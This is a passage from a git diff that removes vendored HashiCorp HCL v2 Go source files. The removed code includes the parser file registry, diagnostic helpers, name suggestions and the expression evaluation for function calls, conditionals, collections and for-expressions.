if the given file cannot be read. -func (p *Parser) ParseJSONFile(filename string) (*hcl.File, hcl.Diagnostics) { - if existing := p.files[filename]; existing != nil { - return existing, nil - } - - file, diags := json.ParseFile(filename) - p.files[filename] = file - return file, diags -} - -// AddFile allows a caller to record in a parser a file that was parsed some -// other way, thus allowing it to be included in the registry of sources. -func (p *Parser) AddFile(filename string, file *hcl.File) { - p.files[filename] = file -} - -// Sources returns a map from filenames to the raw source code that was -// read from them. This is intended to be used, for example, to print -// diagnostics with contextual information. -// -// The arrays underlying the returned slices should not be modified. -func (p *Parser) Sources() map[string][]byte { - ret := make(map[string][]byte) - for fn, f := range p.files { - ret[fn] = f.Bytes - } - return ret -} - -// Files returns a map from filenames to the File objects produced from them. -// This is intended to be used, for example, to print diagnostics with -// contextual information. -// -// The returned map and all of the objects it refers to directly or indirectly -// must not be modified. -func (p *Parser) Files() map[string]*hcl.File { - return p.files -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/diagnostics.go b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/diagnostics.go deleted file mode 100644 index 8c20286b27..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/diagnostics.go +++ /dev/null @@ -1,23 +0,0 @@ -package hclsyntax - -import ( - "github.com/hashicorp/hcl/v2" -) - -// setDiagEvalContext is an internal helper that will impose a particular -// EvalContext on a set of diagnostics in-place, for any diagnostic that -// does not already have an EvalContext set. -// -// We generally expect diagnostics to be immutable, but this is safe to use -// on any Diagnostics where none of the contained Diagnostic objects have yet -// been seen by a caller. Its purpose is to apply additional context to a -// set of diagnostics produced by a "deeper" component as the stack unwinds -// during expression evaluation. -func setDiagEvalContext(diags hcl.Diagnostics, expr hcl.Expression, ctx *hcl.EvalContext) { - for _, diag := range diags { - if diag.Expression == nil { - diag.Expression = expr - diag.EvalContext = ctx - } - } -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/didyoumean.go b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/didyoumean.go deleted file mode 100644 index ccc1c0ae2c..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/didyoumean.go +++ /dev/null @@ -1,24 +0,0 @@ -package hclsyntax - -import ( - "github.com/agext/levenshtein" -) - -// nameSuggestion tries to find a name from the given slice of suggested names -// that is close to the given name and returns it if found. If no suggestion -// is close enough, returns the empty string. -// -// The suggestions are tried in order, so earlier suggestions take precedence -// if the given string is similar to two or more suggestions. -// -// This function is intended to be used with a relatively-small number of -// suggestions. It's not optimized for hundreds or thousands of them. -func nameSuggestion(given string, suggestions []string) string { - for _, suggestion := range suggestions { - dist := levenshtein.Distance(given, suggestion, nil) - if dist < 3 { // threshold determined experimentally - return suggestion - } - } - return "" -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/doc.go b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/doc.go deleted file mode 100644 index 617bc29dc2..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/doc.go +++ /dev/null @@ -1,7 +0,0 @@ -// Package hclsyntax contains the parser, AST, etc for HCL's native language, -// as opposed to the JSON variant. -// -// In normal use applications should rarely depend on this package directly, -// instead preferring the higher-level interface of the main hcl package and -// its companion package hclparse. -package hclsyntax diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/expression.go b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/expression.go deleted file mode 100644 index 76e5858918..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/expression.go +++ /dev/null @@ -1,1522 +0,0 @@ -package hclsyntax - -import ( - "fmt" - "sync" - - "github.com/hashicorp/hcl/v2" - "github.com/hashicorp/hcl/v2/ext/customdecode" - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/convert" - "github.com/zclconf/go-cty/cty/function" -) - -// Expression is the abstract type for nodes that behave as HCL expressions. -type Expression interface { - Node - - // The hcl.Expression methods are duplicated here, rather than simply - // embedded, because both Node and hcl.Expression have a Range method - // and so they conflict. - - Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) - Variables() []hcl.Traversal - StartRange() hcl.Range -} - -// Assert that Expression implements hcl.Expression -var assertExprImplExpr hcl.Expression = Expression(nil) - -// LiteralValueExpr is an expression that just always returns a given value. -type LiteralValueExpr struct { - Val cty.Value - SrcRange hcl.Range -} - -func (e *LiteralValueExpr) walkChildNodes(w internalWalkFunc) { - // Literal values have no child nodes -} - -func (e *LiteralValueExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { - return e.Val, nil -} - -func (e *LiteralValueExpr) Range() hcl.Range { - return e.SrcRange -} - -func (e *LiteralValueExpr) StartRange() hcl.Range { - return e.SrcRange -} - -// Implementation for hcl.AbsTraversalForExpr. -func (e *LiteralValueExpr) AsTraversal() hcl.Traversal { - // This one's a little weird: the contract for AsTraversal is to interpret - // an expression as if it were traversal syntax, and traversal syntax - // doesn't have the special keywords "null", "true", and "false" so these - // are expected to be treated like variables in that case. - // Since our parser already turned them into LiteralValueExpr by the time - // we get here, we need to undo this and infer the name that would've - // originally led to our value. - // We don't do anything for any other values, since they don't overlap - // with traversal roots. - - if e.Val.IsNull() { - // In practice the parser only generates null values of the dynamic - // pseudo-type for literals, so we can safely assume that any null - // was orignally the keyword "null". - return hcl.Traversal{ - hcl.TraverseRoot{ - Name: "null", - SrcRange: e.SrcRange, - }, - } - } - - switch e.Val { - case cty.True: - return hcl.Traversal{ - hcl.TraverseRoot{ - Name: "true", - SrcRange: e.SrcRange, - }, - } - case cty.False: - return hcl.Traversal{ - hcl.TraverseRoot{ - Name: "false", - SrcRange: e.SrcRange, - }, - } - default: - // No traversal is possible for any other value. - return nil - } -} - -// ScopeTraversalExpr is an Expression that retrieves a value from the scope -// using a traversal. -type ScopeTraversalExpr struct { - Traversal hcl.Traversal - SrcRange hcl.Range -} - -func (e *ScopeTraversalExpr) walkChildNodes(w internalWalkFunc) { - // Scope traversals have no child nodes -} - -func (e *ScopeTraversalExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { - val, diags := e.Traversal.TraverseAbs(ctx) - setDiagEvalContext(diags, e, ctx) - return val, diags -} - -func (e *ScopeTraversalExpr) Range() hcl.Range { - return e.SrcRange -} - -func (e *ScopeTraversalExpr) StartRange() hcl.Range { - return e.SrcRange -} - -// Implementation for hcl.AbsTraversalForExpr. -func (e *ScopeTraversalExpr) AsTraversal() hcl.Traversal { - return e.Traversal -} - -// RelativeTraversalExpr is an Expression that retrieves a value from another -// value using a _relative_ traversal. -type RelativeTraversalExpr struct { - Source Expression - Traversal hcl.Traversal - SrcRange hcl.Range -} - -func (e *RelativeTraversalExpr) walkChildNodes(w internalWalkFunc) { - w(e.Source) -} - -func (e *RelativeTraversalExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { - src, diags := e.Source.Value(ctx) - ret, travDiags := e.Traversal.TraverseRel(src) - setDiagEvalContext(travDiags, e, ctx) - diags = append(diags, travDiags...) - return ret, diags -} - -func (e *RelativeTraversalExpr) Range() hcl.Range { - return e.SrcRange -} - -func (e *RelativeTraversalExpr) StartRange() hcl.Range { - return e.SrcRange -} - -// Implementation for hcl.AbsTraversalForExpr. -func (e *RelativeTraversalExpr) AsTraversal() hcl.Traversal { - // We can produce a traversal only if our source can. - st, diags := hcl.AbsTraversalForExpr(e.Source) - if diags.HasErrors() { - return nil - } - - ret := make(hcl.Traversal, len(st)+len(e.Traversal)) - copy(ret, st) - copy(ret[len(st):], e.Traversal) - return ret -} - -// FunctionCallExpr is an Expression that calls a function from the EvalContext -// and returns its result. -type FunctionCallExpr struct { - Name string - Args []Expression - - // If true, the final argument should be a tuple, list or set which will - // expand to be one argument per element. - ExpandFinal bool - - NameRange hcl.Range - OpenParenRange hcl.Range - CloseParenRange hcl.Range -} - -func (e *FunctionCallExpr) walkChildNodes(w internalWalkFunc) { - for _, arg := range e.Args { - w(arg) - } -} - -func (e *FunctionCallExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { - var diags hcl.Diagnostics - - var f function.Function - exists := false - hasNonNilMap := false - thisCtx := ctx - for thisCtx != nil { - if thisCtx.Functions == nil { - thisCtx = thisCtx.Parent() - continue - } - hasNonNilMap = true - f, exists = thisCtx.Functions[e.Name] - if exists { - break - } - thisCtx = thisCtx.Parent() - } - - if !exists { - if !hasNonNilMap { - return cty.DynamicVal, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Function calls not allowed", - Detail: "Functions may not be called here.", - Subject: e.Range().Ptr(), - Expression: e, - EvalContext: ctx, - }, - } - } - - avail := make([]string, 0, len(ctx.Functions)) - for name := range ctx.Functions { - avail = append(avail, name) - } - suggestion := nameSuggestion(e.Name, avail) - if suggestion != "" { - suggestion = fmt.Sprintf(" Did you mean %q?", suggestion) - } - - return cty.DynamicVal, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Call to unknown function", - Detail: fmt.Sprintf("There is no function named %q.%s", e.Name, suggestion), - Subject: &e.NameRange, - Context: e.Range().Ptr(), - Expression: e, - EvalContext: ctx, - }, - } - } - - params := f.Params() - varParam := f.VarParam() - - args := e.Args - if e.ExpandFinal { - if len(args) < 1 { - // should never happen if the parser is behaving - panic("ExpandFinal set on function call with no arguments") - } - expandExpr := args[len(args)-1] - expandVal, expandDiags := expandExpr.Value(ctx) - diags = append(diags, expandDiags...) - if expandDiags.HasErrors() { - return cty.DynamicVal, diags - } - - switch { - case expandVal.Type().Equals(cty.DynamicPseudoType): - if expandVal.IsNull() { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid expanding argument value", - Detail: "The expanding argument (indicated by ...) must not be null.", - Subject: expandExpr.Range().Ptr(), - Context: e.Range().Ptr(), - Expression: expandExpr, - EvalContext: ctx, - }) - return cty.DynamicVal, diags - } - return cty.DynamicVal, diags - case expandVal.Type().IsTupleType() || expandVal.Type().IsListType() || expandVal.Type().IsSetType(): - if expandVal.IsNull() { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid expanding argument value", - Detail: "The expanding argument (indicated by ...) must not be null.", - Subject: expandExpr.Range().Ptr(), - Context: e.Range().Ptr(), - Expression: expandExpr, - EvalContext: ctx, - }) - return cty.DynamicVal, diags - } - if !expandVal.IsKnown() { - return cty.DynamicVal, diags - } - - newArgs := make([]Expression, 0, (len(args)-1)+expandVal.LengthInt()) - newArgs = append(newArgs, args[:len(args)-1]...) - it := expandVal.ElementIterator() - for it.Next() { - _, val := it.Element() - newArgs = append(newArgs, &LiteralValueExpr{ - Val: val, - SrcRange: expandExpr.Range(), - }) - } - args = newArgs - default: - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid expanding argument value", - Detail: "The expanding argument (indicated by ...) must be of a tuple, list, or set type.", - Subject: expandExpr.Range().Ptr(), - Context: e.Range().Ptr(), - Expression: expandExpr, - EvalContext: ctx, - }) - return cty.DynamicVal, diags - } - } - - if len(args) < len(params) { - missing := params[len(args)] - qual := "" - if varParam != nil { - qual = " at least" - } - return cty.DynamicVal, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Not enough function arguments", - Detail: fmt.Sprintf( - "Function %q expects%s %d argument(s). Missing value for %q.", - e.Name, qual, len(params), missing.Name, - ), - Subject: &e.CloseParenRange, - Context: e.Range().Ptr(), - Expression: e, - EvalContext: ctx, - }, - } - } - - if varParam == nil && len(args) > len(params) { - return cty.DynamicVal, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Too many function arguments", - Detail: fmt.Sprintf( - "Function %q expects only %d argument(s).", - e.Name, len(params), - ), - Subject: args[len(params)].StartRange().Ptr(), - Context: e.Range().Ptr(), - Expression: e, - EvalContext: ctx, - }, - } - } - - argVals := make([]cty.Value, len(args)) - - for i, argExpr := range args { - var param *function.Parameter - if i < len(params) { - param = ¶ms[i] - } else { - param = varParam - } - - var val cty.Value - if decodeFn := customdecode.CustomExpressionDecoderForType(param.Type); decodeFn != nil { - var argDiags hcl.Diagnostics - val, argDiags = decodeFn(argExpr, ctx) - diags = append(diags, argDiags...) - if val == cty.NilVal { - val = cty.UnknownVal(param.Type) - } - } else { - var argDiags hcl.Diagnostics - val, argDiags = argExpr.Value(ctx) - if len(argDiags) > 0 { - diags = append(diags, argDiags...) - } - - // Try to convert our value to the parameter type - var err error - val, err = convert.Convert(val, param.Type) - if err != nil { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid function argument", - Detail: fmt.Sprintf( - "Invalid value for %q parameter: %s.", - param.Name, err, - ), - Subject: argExpr.StartRange().Ptr(), - Context: e.Range().Ptr(), - Expression: argExpr, - EvalContext: ctx, - }) - } - } - - argVals[i] = val - } - - if diags.HasErrors() { - // Don't try to execute the function if we already have errors with - // the arguments, because the result will probably be a confusing - // error message. - return cty.DynamicVal, diags - } - - resultVal, err := f.Call(argVals) - if err != nil { - switch terr := err.(type) { - case function.ArgError: - i := terr.Index - var param *function.Parameter - if i < len(params) { - param = ¶ms[i] - } else { - param = varParam - } - - // this can happen if an argument is (incorrectly) null. - if i > len(e.Args)-1 { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid function argument", - Detail: fmt.Sprintf( - "Invalid value for %q parameter: %s.", - param.Name, err, - ), - Subject: args[len(params)].StartRange().Ptr(), - Context: e.Range().Ptr(), - Expression: e, - EvalContext: ctx, - }) - } else { - argExpr := e.Args[i] - - // TODO: we should also unpick a PathError here and show the - // path to the deep value where the error was detected. - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid function argument", - Detail: fmt.Sprintf( - "Invalid value for %q parameter: %s.", - param.Name, err, - ), - Subject: argExpr.StartRange().Ptr(), - Context: e.Range().Ptr(), - Expression: argExpr, - EvalContext: ctx, - }) - } - - default: - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Error in function call", - Detail: fmt.Sprintf( - "Call to function %q failed: %s.", - e.Name, err, - ), - Subject: e.StartRange().Ptr(), - Context: e.Range().Ptr(), - Expression: e, - EvalContext: ctx, - }) - } - - return cty.DynamicVal, diags - } - - return resultVal, diags -} - -func (e *FunctionCallExpr) Range() hcl.Range { - return hcl.RangeBetween(e.NameRange, e.CloseParenRange) -} - -func (e *FunctionCallExpr) StartRange() hcl.Range { - return hcl.RangeBetween(e.NameRange, e.OpenParenRange) -} - -// Implementation for hcl.ExprCall. -func (e *FunctionCallExpr) ExprCall() *hcl.StaticCall { - ret := &hcl.StaticCall{ - Name: e.Name, - NameRange: e.NameRange, - Arguments: make([]hcl.Expression, len(e.Args)), - ArgsRange: hcl.RangeBetween(e.OpenParenRange, e.CloseParenRange), - } - // Need to convert our own Expression objects into hcl.Expression. - for i, arg := range e.Args { - ret.Arguments[i] = arg - } - return ret -} - -type ConditionalExpr struct { - Condition Expression - TrueResult Expression - FalseResult Expression - - SrcRange hcl.Range -} - -func (e *ConditionalExpr) walkChildNodes(w internalWalkFunc) { - w(e.Condition) - w(e.TrueResult) - w(e.FalseResult) -} - -func (e *ConditionalExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { - trueResult, trueDiags := e.TrueResult.Value(ctx) - falseResult, falseDiags := e.FalseResult.Value(ctx) - var diags hcl.Diagnostics - - resultType := cty.DynamicPseudoType - convs := make([]convert.Conversion, 2) - - switch { - // If either case is a dynamic null value (which would result from a - // literal null in the config), we know that it can convert to the expected - // type of the opposite case, and we don't need to speculatively reduce the - // final result type to DynamicPseudoType. - - // If we know that either Type is a DynamicPseudoType, we can be certain - // that the other value can convert since it's a pass-through, and we don't - // need to unify the types. If the final evaluation results in the dynamic - // value being returned, there's no conversion we can do, so we return the - // value directly. - case trueResult.RawEquals(cty.NullVal(cty.DynamicPseudoType)): - resultType = falseResult.Type() - convs[0] = convert.GetConversionUnsafe(cty.DynamicPseudoType, resultType) - case falseResult.RawEquals(cty.NullVal(cty.DynamicPseudoType)): - resultType = trueResult.Type() - convs[1] = convert.GetConversionUnsafe(cty.DynamicPseudoType, resultType) - case trueResult.Type() == cty.DynamicPseudoType, falseResult.Type() == cty.DynamicPseudoType: - // the final resultType type is still unknown - // we don't need to get the conversion, because both are a noop. - - default: - // Try to find a type that both results can be converted to. - resultType, convs = convert.UnifyUnsafe([]cty.Type{trueResult.Type(), falseResult.Type()}) - } - - if resultType == cty.NilType { - return cty.DynamicVal, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Inconsistent conditional result types", - Detail: fmt.Sprintf( - // FIXME: Need a helper function for showing natural-language type diffs, - // since this will generate some useless messages in some cases, like - // "These expressions are object and object respectively" if the - // object types don't exactly match. - "The true and false result expressions must have consistent types. The given expressions are %s and %s, respectively.", - trueResult.Type().FriendlyName(), falseResult.Type().FriendlyName(), - ), - Subject: hcl.RangeBetween(e.TrueResult.Range(), e.FalseResult.Range()).Ptr(), - Context: &e.SrcRange, - Expression: e, - EvalContext: ctx, - }, - } - } - - condResult, condDiags := e.Condition.Value(ctx) - diags = append(diags, condDiags...) - if condResult.IsNull() { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Null condition", - Detail: "The condition value is null. Conditions must either be true or false.", - Subject: e.Condition.Range().Ptr(), - Context: &e.SrcRange, - Expression: e.Condition, - EvalContext: ctx, - }) - return cty.UnknownVal(resultType), diags - } - if !condResult.IsKnown() { - return cty.UnknownVal(resultType), diags - } - condResult, err := convert.Convert(condResult, cty.Bool) - if err != nil { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Incorrect condition type", - Detail: fmt.Sprintf("The condition expression must be of type bool."), - Subject: e.Condition.Range().Ptr(), - Context: &e.SrcRange, - Expression: e.Condition, - EvalContext: ctx, - }) - return cty.UnknownVal(resultType), diags - } - - if condResult.True() { - diags = append(diags, trueDiags...) - if convs[0] != nil { - var err error - trueResult, err = convs[0](trueResult) - if err != nil { - // Unsafe conversion failed with the concrete result value - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Inconsistent conditional result types", - Detail: fmt.Sprintf( - "The true result value has the wrong type: %s.", - err.Error(), - ), - Subject: e.TrueResult.Range().Ptr(), - Context: &e.SrcRange, - Expression: e.TrueResult, - EvalContext: ctx, - }) - trueResult = cty.UnknownVal(resultType) - } - } - return trueResult, diags - } else { - diags = append(diags, falseDiags...) - if convs[1] != nil { - var err error - falseResult, err = convs[1](falseResult) - if err != nil { - // Unsafe conversion failed with the concrete result value - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Inconsistent conditional result types", - Detail: fmt.Sprintf( - "The false result value has the wrong type: %s.", - err.Error(), - ), - Subject: e.FalseResult.Range().Ptr(), - Context: &e.SrcRange, - Expression: e.FalseResult, - EvalContext: ctx, - }) - falseResult = cty.UnknownVal(resultType) - } - } - return falseResult, diags - } -} - -func (e *ConditionalExpr) Range() hcl.Range { - return e.SrcRange -} - -func (e *ConditionalExpr) StartRange() hcl.Range { - return e.Condition.StartRange() -} - -type IndexExpr struct { - Collection Expression - Key Expression - - SrcRange hcl.Range - OpenRange hcl.Range - BracketRange hcl.Range -} - -func (e *IndexExpr) walkChildNodes(w internalWalkFunc) { - w(e.Collection) - w(e.Key) -} - -func (e *IndexExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { - var diags hcl.Diagnostics - coll, collDiags := e.Collection.Value(ctx) - key, keyDiags := e.Key.Value(ctx) - diags = append(diags, collDiags...) - diags = append(diags, keyDiags...) - - val, indexDiags := hcl.Index(coll, key, &e.BracketRange) - setDiagEvalContext(indexDiags, e, ctx) - diags = append(diags, indexDiags...) - return val, diags -} - -func (e *IndexExpr) Range() hcl.Range { - return e.SrcRange -} - -func (e *IndexExpr) StartRange() hcl.Range { - return e.OpenRange -} - -type TupleConsExpr struct { - Exprs []Expression - - SrcRange hcl.Range - OpenRange hcl.Range -} - -func (e *TupleConsExpr) walkChildNodes(w internalWalkFunc) { - for _, expr := range e.Exprs { - w(expr) - } -} - -func (e *TupleConsExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { - var vals []cty.Value - var diags hcl.Diagnostics - - vals = make([]cty.Value, len(e.Exprs)) - for i, expr := range e.Exprs { - val, valDiags := expr.Value(ctx) - vals[i] = val - diags = append(diags, valDiags...) - } - - return cty.TupleVal(vals), diags -} - -func (e *TupleConsExpr) Range() hcl.Range { - return e.SrcRange -} - -func (e *TupleConsExpr) StartRange() hcl.Range { - return e.OpenRange -} - -// Implementation for hcl.ExprList -func (e *TupleConsExpr) ExprList() []hcl.Expression { - ret := make([]hcl.Expression, len(e.Exprs)) - for i, expr := range e.Exprs { - ret[i] = expr - } - return ret -} - -type ObjectConsExpr struct { - Items []ObjectConsItem - - SrcRange hcl.Range - OpenRange hcl.Range -} - -type ObjectConsItem struct { - KeyExpr Expression - ValueExpr Expression -} - -func (e *ObjectConsExpr) walkChildNodes(w internalWalkFunc) { - for _, item := range e.Items { - w(item.KeyExpr) - w(item.ValueExpr) - } -} - -func (e *ObjectConsExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { - var vals map[string]cty.Value - var diags hcl.Diagnostics - - // This will get set to true if we fail to produce any of our keys, - // either because they are actually unknown or if the evaluation produces - // errors. In all of these case we must return DynamicPseudoType because - // we're unable to know the full set of keys our object has, and thus - // we can't produce a complete value of the intended type. - // - // We still evaluate all of the item keys and values to make sure that we - // get as complete as possible a set of diagnostics. - known := true - - vals = make(map[string]cty.Value, len(e.Items)) - for _, item := range e.Items { - key, keyDiags := item.KeyExpr.Value(ctx) - diags = append(diags, keyDiags...) - - val, valDiags := item.ValueExpr.Value(ctx) - diags = append(diags, valDiags...) - - if keyDiags.HasErrors() { - known = false - continue - } - - if key.IsNull() { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Null value as key", - Detail: "Can't use a null value as a key.", - Subject: item.ValueExpr.Range().Ptr(), - Expression: item.KeyExpr, - EvalContext: ctx, - }) - known = false - continue - } - - var err error - key, err = convert.Convert(key, cty.String) - if err != nil { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Incorrect key type", - Detail: fmt.Sprintf("Can't use this value as a key: %s.", err.Error()), - Subject: item.KeyExpr.Range().Ptr(), - Expression: item.KeyExpr, - EvalContext: ctx, - }) - known = false - continue - } - - if !key.IsKnown() { - known = false - continue - } - - keyStr := key.AsString() - - vals[keyStr] = val - } - - if !known { - return cty.DynamicVal, diags - } - - return cty.ObjectVal(vals), diags -} - -func (e *ObjectConsExpr) Range() hcl.Range { - return e.SrcRange -} - -func (e *ObjectConsExpr) StartRange() hcl.Range { - return e.OpenRange -} - -// Implementation for hcl.ExprMap -func (e *ObjectConsExpr) ExprMap() []hcl.KeyValuePair { - ret := make([]hcl.KeyValuePair, len(e.Items)) - for i, item := range e.Items { - ret[i] = hcl.KeyValuePair{ - Key: item.KeyExpr, - Value: item.ValueExpr, - } - } - return ret -} - -// ObjectConsKeyExpr is a special wrapper used only for ObjectConsExpr keys, -// which deals with the special case that a naked identifier in that position -// must be interpreted as a literal string rather than evaluated directly. -type ObjectConsKeyExpr struct { - Wrapped Expression - ForceNonLiteral bool -} - -func (e *ObjectConsKeyExpr) literalName() string { - // This is our logic for deciding whether to behave like a literal string. - // We lean on our AbsTraversalForExpr implementation here, which already - // deals with some awkward cases like the expression being the result - // of the keywords "null", "true" and "false" which we'd want to interpret - // as keys here too. - return hcl.ExprAsKeyword(e.Wrapped) -} - -func (e *ObjectConsKeyExpr) walkChildNodes(w internalWalkFunc) { - // We only treat our wrapped expression as a real expression if we're - // not going to interpret it as a literal. - if e.literalName() == "" { - w(e.Wrapped) - } -} - -func (e *ObjectConsKeyExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { - // Because we accept a naked identifier as a literal key rather than a - // reference, it's confusing to accept a traversal containing periods - // here since we can't tell if the user intends to create a key with - // periods or actually reference something. To avoid confusing downstream - // errors we'll just prohibit a naked multi-step traversal here and - // require the user to state their intent more clearly. - // (This is handled at evaluation time rather than parse time because - // an application using static analysis _can_ accept a naked multi-step - // traversal here, if desired.) - if !e.ForceNonLiteral { - if travExpr, isTraversal := e.Wrapped.(*ScopeTraversalExpr); isTraversal && len(travExpr.Traversal) > 1 { - var diags hcl.Diagnostics - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Ambiguous attribute key", - Detail: "If this expression is intended to be a reference, wrap it in parentheses. If it's instead intended as a literal name containing periods, wrap it in quotes to create a string literal.", - Subject: e.Range().Ptr(), - }) - return cty.DynamicVal, diags - } - - if ln := e.literalName(); ln != "" { - return cty.StringVal(ln), nil - } - } - return e.Wrapped.Value(ctx) -} - -func (e *ObjectConsKeyExpr) Range() hcl.Range { - return e.Wrapped.Range() -} - -func (e *ObjectConsKeyExpr) StartRange() hcl.Range { - return e.Wrapped.StartRange() -} - -// Implementation for hcl.AbsTraversalForExpr. -func (e *ObjectConsKeyExpr) AsTraversal() hcl.Traversal { - // If we're forcing a non-literal then we can never be interpreted - // as a traversal. - if e.ForceNonLiteral { - return nil - } - - // We can produce a traversal only if our wrappee can. - st, diags := hcl.AbsTraversalForExpr(e.Wrapped) - if diags.HasErrors() { - return nil - } - - return st -} - -func (e *ObjectConsKeyExpr) UnwrapExpression() Expression { - return e.Wrapped -} - -// ForExpr represents iteration constructs: -// -// tuple = [for i, v in list: upper(v) if i > 2] -// object = {for k, v in map: k => upper(v)} -// object_of_tuples = {for v in list: v.key: v...} -type ForExpr struct { - KeyVar string // empty if ignoring the key - ValVar string - - CollExpr Expression - - KeyExpr Expression // nil when producing a tuple - ValExpr Expression - CondExpr Expression // null if no "if" clause is present - - Group bool // set if the ellipsis is used on the value in an object for - - SrcRange hcl.Range - OpenRange hcl.Range - CloseRange hcl.Range -} - -func (e *ForExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { - var diags hcl.Diagnostics - - collVal, collDiags := e.CollExpr.Value(ctx) - diags = append(diags, collDiags...) - - if collVal.IsNull() { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Iteration over null value", - Detail: "A null value cannot be used as the collection in a 'for' expression.", - Subject: e.CollExpr.Range().Ptr(), - Context: &e.SrcRange, - Expression: e.CollExpr, - EvalContext: ctx, - }) - return cty.DynamicVal, diags - } - if collVal.Type() == cty.DynamicPseudoType { - return cty.DynamicVal, diags - } - if !collVal.CanIterateElements() { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Iteration over non-iterable value", - Detail: fmt.Sprintf( - "A value of type %s cannot be used as the collection in a 'for' expression.", - collVal.Type().FriendlyName(), - ), - Subject: e.CollExpr.Range().Ptr(), - Context: &e.SrcRange, - Expression: e.CollExpr, - EvalContext: ctx, - }) - return cty.DynamicVal, diags - } - if !collVal.IsKnown() { - return cty.DynamicVal, diags - } - - // Before we start we'll do an early check to see if any CondExpr we've - // been given is of the wrong type. This isn't 100% reliable (it may - // be DynamicVal until real values are given) but it should catch some - // straightforward cases and prevent a barrage of repeated errors. - if e.CondExpr != nil { - childCtx := ctx.NewChild() - childCtx.Variables = map[string]cty.Value{} - if e.KeyVar != "" { - childCtx.Variables[e.KeyVar] = cty.DynamicVal - } - childCtx.Variables[e.ValVar] = cty.DynamicVal - - result, condDiags := e.CondExpr.Value(childCtx) - diags = append(diags, condDiags...) - if result.IsNull() { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Condition is null", - Detail: "The value of the 'if' clause must not be null.", - Subject: e.CondExpr.Range().Ptr(), - Context: &e.SrcRange, - Expression: e.CondExpr, - EvalContext: ctx, - }) - return cty.DynamicVal, diags - } - _, err := convert.Convert(result, cty.Bool) - if err != nil { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid 'for' condition", - Detail: fmt.Sprintf("The 'if' clause value is invalid: %s.", err.Error()), - Subject: e.CondExpr.Range().Ptr(), - Context: &e.SrcRange, - Expression: e.CondExpr, - EvalContext: ctx, - }) - return cty.DynamicVal, diags - } - if condDiags.HasErrors() { - return cty.DynamicVal, diags - } - } - - if e.KeyExpr != nil { - // Producing an object - var vals map[string]cty.Value - var groupVals map[string][]cty.Value - if e.Group { - groupVals = map[string][]cty.Value{} - } else { - vals = map[string]cty.Value{} - } - - it := collVal.ElementIterator() - - known := true - for it.Next() { - k, v := it.Element() - childCtx := ctx.NewChild() - childCtx.Variables = map[string]cty.Value{} - if e.KeyVar != "" { - childCtx.Variables[e.KeyVar] = k - } - childCtx.Variables[e.ValVar] = v - - if e.CondExpr != nil { - includeRaw, condDiags := e.CondExpr.Value(childCtx) - diags = append(diags, condDiags...) - if includeRaw.IsNull() { - if known { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid 'for' condition", - Detail: "The value of the 'if' clause must not be null.", - Subject: e.CondExpr.Range().Ptr(), - Context: &e.SrcRange, - Expression: e.CondExpr, - EvalContext: childCtx, - }) - } - known = false - continue - } - include, err := convert.Convert(includeRaw, cty.Bool) - if err != nil { - if known { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid 'for' condition", - Detail: fmt.Sprintf("The 'if' clause value is invalid: %s.", err.Error()), - Subject: e.CondExpr.Range().Ptr(), - Context: &e.SrcRange, - 